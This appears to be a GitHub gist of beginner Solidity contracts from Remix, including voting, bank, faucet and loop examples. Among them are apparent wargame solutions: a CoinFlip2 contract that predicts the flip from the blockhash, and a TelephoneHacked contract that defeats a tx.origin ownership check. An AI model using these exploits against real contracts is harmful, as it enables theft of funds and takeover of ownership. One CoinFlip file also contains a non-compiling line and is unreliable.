Created
April 27, 2019 08:15
-
-
Save gatherheart/a3249ee15aab38594ae0d81a9310eb31 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.5.1+commit.c8a2cb62.js&optimize=false&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
contract Ballot { | |
struct Voter { | |
uint weight; | |
bool voted; | |
uint8 vote; | |
address delegate; | |
} | |
struct Proposal { | |
uint voteCount; | |
} | |
address chairperson; | |
mapping(address => Voter) voters; | |
Proposal[] proposals; | |
/// Create a new ballot with $(_numProposals) different proposals. | |
constructor(uint8 _numProposals) public { | |
chairperson = msg.sender; | |
voters[chairperson].weight = 1; | |
proposals.length = _numProposals; | |
} | |
/// Give $(toVoter) the right to vote on this ballot. | |
/// May only be called by $(chairperson). | |
function giveRightToVote(address toVoter) public { | |
if (msg.sender != chairperson || voters[toVoter].voted) return; | |
voters[toVoter].weight = 1; | |
} | |
/// Delegate your vote to the voter $(to). | |
function delegate(address to) public { | |
Voter storage sender = voters[msg.sender]; // assigns reference | |
if (sender.voted) return; | |
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender) | |
to = voters[to].delegate; | |
if (to == msg.sender) return; | |
sender.voted = true; | |
sender.delegate = to; | |
Voter storage delegateTo = voters[to]; | |
if (delegateTo.voted) | |
proposals[delegateTo.vote].voteCount += sender.weight; | |
else | |
delegateTo.weight += sender.weight; | |
} | |
/// Give a single vote to proposal $(toProposal). | |
function vote(uint8 toProposal) public { | |
Voter storage sender = voters[msg.sender]; | |
if (sender.voted || toProposal >= proposals.length) return; | |
sender.voted = true; | |
sender.vote = toProposal; | |
proposals[toProposal].voteCount += sender.weight; | |
} | |
function winningProposal() public view returns (uint8 _winningProposal) { | |
uint256 winningVoteCount = 0; | |
for (uint8 prop = 0; prop < proposals.length; prop++) | |
if (proposals[prop].voteCount > winningVoteCount) { | |
winningVoteCount = proposals[prop].voteCount; | |
_winningProposal = prop; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "remix_tests.sol"; // this import is automatically injected by Remix. | |
import "./ballot.sol"; | |
contract test3 { | |
Ballot ballotToTest; | |
function beforeAll () public { | |
ballotToTest = new Ballot(2); | |
} | |
function checkWinningProposal () public { | |
ballotToTest.vote(1); | |
Assert.equal(ballotToTest.winningProposal(), uint(1), "1 should be the winning proposal"); | |
} | |
function checkWinninProposalWithReturnValue () public view returns (bool) { | |
return ballotToTest.winningProposal() == 1; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.7.0; | |
/// @title Voting with delegation. | |
contract Ballot { | |
// This declares a new complex type which will | |
// be used for variables later. | |
// It will represent a single voter. | |
struct Voter { | |
uint weight; // weight is accumulated by delegation | |
bool voted; // if true, that person already voted | |
address delegate; // person delegated to | |
uint vote; // index of the voted proposal | |
} | |
// This is a type for a single proposal. | |
struct Proposal { | |
bytes32 name; // short name (up to 32 bytes) | |
uint voteCount; // number of accumulated votes | |
} | |
address public chairperson; | |
// This declares a state variable that | |
// stores a `Voter` struct for each possible address. | |
mapping(address => Voter) public voters; | |
// A dynamically-sized array of `Proposal` structs. | |
Proposal[] public proposals; | |
/// Create a new ballot to choose one of `proposalNames`. | |
constructor(bytes32[] memory proposalNames) public { | |
chairperson = msg.sender; | |
voters[chairperson].weight = 1; | |
// For each of the provided proposal names, | |
// create a new proposal object and add it | |
// to the end of the array. | |
for (uint i = 0; i < proposalNames.length; i++) { | |
// `Proposal({...})` creates a temporary | |
// Proposal object and `proposals.push(...)` | |
// appends it to the end of `proposals`. | |
proposals.push(Proposal({ | |
name: proposalNames[i], | |
voteCount: 0 | |
})); | |
} | |
} | |
// Give `voter` the right to vote on this ballot. | |
// May only be called by `chairperson`. | |
function giveRightToVote(address voter) public { | |
// If the first argument of `require` evaluates | |
// to `false`, execution terminates and all | |
// changes to the state and to Ether balances | |
// are reverted. | |
// This used to consume all gas in old EVM versions, but | |
// not anymore. | |
// It is often a good idea to use `require` to check if | |
// functions are called correctly. | |
// As a second argument, you can also provide an | |
// explanation about what went wrong. | |
require( | |
msg.sender == chairperson, | |
"Only chairperson can give right to vote." | |
); | |
require( | |
!voters[voter].voted, | |
"The voter already voted." | |
); | |
require(voters[voter].weight == 0); | |
voters[voter].weight = 1; | |
} | |
/// Delegate your vote to the voter `to`. | |
function delegate(address to) public { | |
// assigns reference | |
Voter storage sender = voters[msg.sender]; | |
require(!sender.voted, "You already voted."); | |
require(to != msg.sender, "Self-delegation is disallowed."); | |
// Forward the delegation as long as | |
// `to` also delegated. | |
// In general, such loops are very dangerous, | |
// because if they run too long, they might | |
// need more gas than is available in a block. | |
// In this case, the delegation will not be executed, | |
// but in other situations, such loops might | |
// cause a contract to get "stuck" completely. | |
while (voters[to].delegate != address(0)) { | |
to = voters[to].delegate; | |
// We found a loop in the delegation, not allowed. | |
require(to != msg.sender, "Found loop in delegation."); | |
} | |
// Since `sender` is a reference, this | |
// modifies `voters[msg.sender].voted` | |
sender.voted = true; | |
sender.delegate = to; | |
Voter storage delegate_ = voters[to]; | |
if (delegate_.voted) { | |
// If the delegate already voted, | |
// directly add to the number of votes | |
proposals[delegate_.vote].voteCount += sender.weight; | |
} else { | |
// If the delegate did not vote yet, | |
// add to her weight. | |
delegate_.weight += sender.weight; | |
} | |
} | |
/// Give your vote (including votes delegated to you) | |
/// to proposal `proposals[proposal].name`. | |
function vote(uint proposal) public { | |
Voter storage sender = voters[msg.sender]; | |
require(sender.weight != 0, "Has no right to vote"); | |
require(!sender.voted, "Already voted."); | |
sender.voted = true; | |
sender.vote = proposal; | |
// If `proposal` is out of the range of the array, | |
// this will throw automatically and revert all | |
// changes. | |
proposals[proposal].voteCount += sender.weight; | |
} | |
/// @dev Computes the winning proposal taking all | |
/// previous votes into account. | |
function winningProposal() public view | |
returns (uint winningProposal_) | |
{ | |
uint winningVoteCount = 0; | |
for (uint p = 0; p < proposals.length; p++) { | |
if (proposals[p].voteCount > winningVoteCount) { | |
winningVoteCount = proposals[p].voteCount; | |
winningProposal_ = p; | |
} | |
} | |
} | |
// Calls winningProposal() function to get the index | |
// of the winner contained in the proposals array and then | |
// returns the name of the winner | |
function winnerName() public view | |
returns (bytes32 winnerName_) | |
{ | |
winnerName_ = proposals[winningProposal()].name; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.5.1; | |
contract Ownable { | |
address public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
modifier onlyOwner { | |
require(owner == msg.sender); | |
_; | |
} | |
} | |
contract CoinFlip2 { | |
CoinFlip public flipper; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
bool public side; | |
uint256 lastHash; | |
constructor () public { | |
flipper = CoinFlip(0xc1d7706Cb3b56F220f5787A0304416e682cA670d); | |
} | |
function cheat() public payable returns (bool){ | |
uint256 blockValue = uint256(blockhash(block.number-1)); | |
uint256 coinFlip = blockValue / FACTOR; | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
bool side = coinFlip == 1 ? true : false; | |
bool result = flipper.flip.value(0.1 ether)(side); | |
return result; | |
} | |
} | |
contract CoinFlip is Ownable { | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
constructor() public { | |
consecutiveWins = 0; | |
} | |
function flip(bool _guess) public payable returns (bool) { | |
require(msg.value == 0.1 ether); | |
// 5422659 | |
// 11521333652733857159075632517656588917111386083253262382612334676764411250951 | |
// 57896044618658097711785492504343953926634992332820282019728792003956564819968 | |
uint256 blockValue = uint256(blockhash(block.number-1)); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = blockValue / FACTOR; | |
bool side = coinFlip == 1 ? true : false; | |
if (side == _guess) { | |
consecutiveWins++; | |
return true; | |
} else { | |
consecutiveWins = 0; | |
return false; | |
} | |
} | |
function win() public { | |
require(consecutiveWins >= 10); | |
consecutiveWins = 0; | |
owner = msg.sender; | |
msg.sender.transfer(1 ether); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.5.1; | |
contract Ownable { | |
address payable public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
modifier onlyOwner { | |
require(owner == msg.sender); | |
_; | |
} | |
} | |
contract Fallback is Ownable { | |
mapping(address => uint) public contributions; | |
constructor() public { | |
contributions[msg.sender] = 1000 * (1 ether); | |
} | |
function() external payable { | |
require(msg.value > 0 && contributions[msg.sender] > 0); | |
owner = msg.sender; | |
} | |
function contribute() public payable { | |
require(msg.value < 0.001 ether); | |
contributions[msg.sender] += msg.value; | |
if(contributions[msg.sender] > contributions[owner]) { | |
owner = msg.sender; | |
} | |
} | |
function withdraw() public onlyOwner { | |
owner.transfer(address(this).balance); | |
} | |
function getContribution() public view returns (uint) { | |
return contributions[msg.sender]; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract Faucet { | |
//address public sender = msg.sender; // contract maker | |
mapping (address => uint) myMap; | |
event Address(address h); | |
constructor() public{ | |
//msg.sender.transfer(1); | |
} | |
function () external payable{ // Fallback function | |
} | |
function withdraw(uint amount) public{ | |
require(amount <= 1 ether); | |
require(myMap[msg.sender] + amount <= 3 ether); // msg.sender who called this function | |
myMap[msg.sender] += amount; | |
msg.sender.transfer(amount); | |
} | |
function getSender() public view returns (address){ | |
return msg.sender; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract Helloworld{ | |
function myFirstHelloWorld() public pure returns (string memory, string memory){ | |
return ('Hello world !', 'Do not'); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract MyFirstContract{ | |
bytes32 private name; | |
uint private age; | |
function setName (bytes32 newName) public{ | |
name = newName; | |
} | |
function getName() public view returns (bytes32 ){ | |
return name; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract NumberLoop{ | |
uint number; | |
string str1 = ""; | |
string str2; | |
uint8 [] test = [1, 2, 3]; | |
bytes32 [3] test2; | |
constructor() public { | |
number = 100; | |
} | |
function myFirstLoop() public returns (uint){ | |
for(uint i = 0; i < 10; i++){ | |
number += i; | |
} | |
return number; | |
} | |
function setNumber() public { | |
uint number2 = number; | |
uint8 [3] memory test3 = [4, 5, 7]; | |
test = test3; | |
test3[2] = 4; | |
number2 += 1; | |
} | |
function getNumber() public view returns (uint8 [] memory, uint){ | |
return (test, number); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.5.1; | |
contract Ownable { | |
address public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
modifier onlyOwner { | |
require(owner == msg.sender); | |
_; | |
} | |
} | |
contract CoinFlip is Ownable { | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
constructor() public { | |
consecutiveWins = 0; | |
} | |
address target; | |
function input(address _target) public { | |
target = _target; | |
} | |
function flip(bool _guess) public payable returns (bool) { | |
require(msg.value == 0.1 ether); | |
// 5422659 | |
// 11521333652733857159075632517656588917111386083253262382612334676764411250951 | |
// 57896044618658097711785492504343953926634992332820282019728792003956564819968 | |
uint256 blockValue = uint256(blockhash(block.number-1)); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = blockValue / FACTOR; | |
bool side = coinFlip == 1 ? true : false; | |
coinFlip(target).flip(side); | |
} | |
function win() public { | |
require(consecutiveWins >= 10); | |
consecutiveWins = 0; | |
owner = msg.sender; | |
msg.sender.transfer(1 ether); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.21 < 0.6.0; | |
contract SimpleStore { | |
struct Item { | |
uint price; | |
uint units; | |
} | |
Item[] public items; | |
function newItem(uint _price, uint _units) | |
public | |
{ | |
Item memory item = Item(_price, _units); | |
items.push(item); | |
} | |
function getUsingStorage(uint _itemIdx) | |
public | |
// set to non-view to estimate gas | |
// view | |
returns (uint) | |
{ | |
Item storage item = items[_itemIdx]; | |
return item.units; | |
} | |
function getUsingMemory(uint _itemIdx) | |
public | |
// set to non-view to estimate gas | |
// view | |
returns (uint) | |
{ | |
Item memory item = items[_itemIdx]; | |
return item.units; | |
} | |
function addItemUsingStorage(uint _itemIdx, uint _units) | |
public | |
{ | |
Item storage item = items[_itemIdx]; | |
item.units += _units; | |
} | |
function addItemUsingMemory(uint _itemIdx, uint _units) | |
public | |
// set to non-view to estimate gas | |
// view | |
{ | |
Item memory item = items[_itemIdx]; | |
item.units += _units; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract Ownerable { | |
// event | |
event OwnerLogger(address); | |
address public owner; | |
constructor() public{ | |
owner = msg.sender; | |
emit OwnerLogger(msg.sender); | |
} | |
modifier onlyOwner{ | |
require(msg.sender == owner); | |
_; | |
} | |
} | |
contract SimpleBank is Ownerable{ | |
event EnrollLog(address); | |
event DepositLog(address, uint); | |
event WithdrawLog(address, uint, uint); | |
event SendLog(address, address, uint, uint); | |
//address public sender = msg.sender; // contract maker | |
mapping (address => uint) private balance; | |
mapping (address => bool) private accounts; | |
address [] private account_list; | |
constructor () public { | |
account_list.push(owner); | |
accounts[owner] = true; | |
} | |
modifier onlyUser{ | |
require(accounts[msg.sender]); | |
_; | |
} | |
function enroll(address target) public onlyOwner{ | |
require(!accounts[target]); | |
accounts[target] = true; | |
account_list.push(target); | |
emit EnrollLog(target); | |
} | |
function deposit() public onlyUser payable{ | |
balance[msg.sender] += msg.value; | |
// Emit log and return balance | |
emit DepositLog(msg.sender, msg.value); | |
} | |
function withdraw(uint amount) public onlyUser returns (uint){ | |
require(balance[msg.sender] >= amount); | |
balance[msg.sender] -= amount; | |
uint remains = balance[msg.sender]; | |
// Emit log and send balance | |
emit WithdrawLog(msg.sender, amount, remains); | |
msg.sender.transfer(amount); | |
return balance[msg.sender]; | |
} | |
function send(address addr, uint amount) public onlyUser{ | |
require(accounts[addr] | |
&& balance[msg.sender] >= amount); | |
// withdraw amount from sender and increase receiver's balance | |
balance[msg.sender] -= amount; | |
balance[addr] += amount; | |
// emit log | |
emit SendLog(msg.sender, addr, amount, balance[msg.sender]); | |
} | |
// return memory(volatile) type | |
function getAccounts() public view onlyOwner returns (address[] memory){ | |
return account_list; | |
} | |
function getBalance() public onlyUser view returns (uint){ | |
return balance[msg.sender]; | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.5.1; | |
contract Ownable { | |
address public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
modifier onlyOwner { | |
require(owner == msg.sender); | |
_; | |
} | |
} | |
contract TelephoneHacked { | |
Telephone telephone; | |
constructor () public{ | |
telephone = Telephone(0xD06585B654F9DB33Bb90AAC962f015D295E01468); | |
} | |
function message() public { | |
telephone.changeOwner(msg.sender); | |
} | |
} | |
contract Telephone is Ownable{ | |
constructor() public { | |
owner = msg.sender; | |
} | |
function changeOwner(address _owner) public { | |
if (tx.origin != msg.sender) { | |
owner = _owner; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 < 0.6.0; | |
contract NumberLoop{ | |
uint number; | |
string str1 = ""; | |
string str2; | |
uint8 [] test = [1, 2, 3]; | |
bytes32 [3] test2; | |
constructor() public { | |
number = 100; | |
} | |
function myFirstLoop() public returns (uint){ | |
for(uint i = 0; i < 10; i++){ | |
number += i; | |
} | |
return number; | |
} | |
function setNumber() public { | |
uint number2 = number; | |
uint8 [3] memory test3 = [4, 5, 7]; | |
test = test3; | |
test3[2] = 4; | |
number2 += 1; | |
} | |
function getNumber() public view returns (uint8 [] memory, uint){ | |
return (test, number); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.5.1; | |
contract Vote{ | |
// structure | |
struct candidate{ | |
string name; | |
uint upVote; | |
} | |
// variable | |
candidate [] public candidatorList; | |
// mapping | |
// event | |
event AddCandidate(string name); | |
// modifier | |
// constructor | |
// candidate | |
function addCandidate(string memory _name) public { | |
require(candidatorList.length < 5); | |
candidatorList.push(candidate(_name, 0)); | |
// emit event (add candidate and announce it) | |
emit AddCandidate(_name); | |
} | |
// voting | |
function Voting() public { | |
} | |
// finish vote | |
function finishVote() public { | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment